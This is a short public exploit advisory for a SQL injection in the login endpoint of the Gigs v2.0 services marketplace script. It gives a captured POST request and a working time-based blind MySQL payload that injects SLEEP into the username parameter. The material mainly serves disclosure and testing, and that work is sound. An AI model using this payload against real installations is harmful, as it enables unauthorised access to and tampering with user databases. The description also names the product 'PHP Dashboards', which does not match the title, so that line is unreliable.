Gigs 2.0 - 'username' SQL Injection

# Exploit Title: Gigs v2.0 - Login Page SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/gigs-services-marketplace/20716059
# Version: v2.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
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# PoC : SQLi :

https://test.com/thegigs/user/dashboard/is_valid_login

POST /thegigs/user/dashboard/is_valid_login HTTP/1.1
Host: dreamguys.co.in
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/javascript
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://test.com/thegigs/
Content-Length: 27
Cookie: ci_session=33p2j7q2a35qt5vrjt1r0985pt2i0v7g
Connection: keep-alive
username=demo&password=1234

Vulnerable Payload :

Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=demo' AND SLEEP(5) AND 'NVll'='NVll&password=1234


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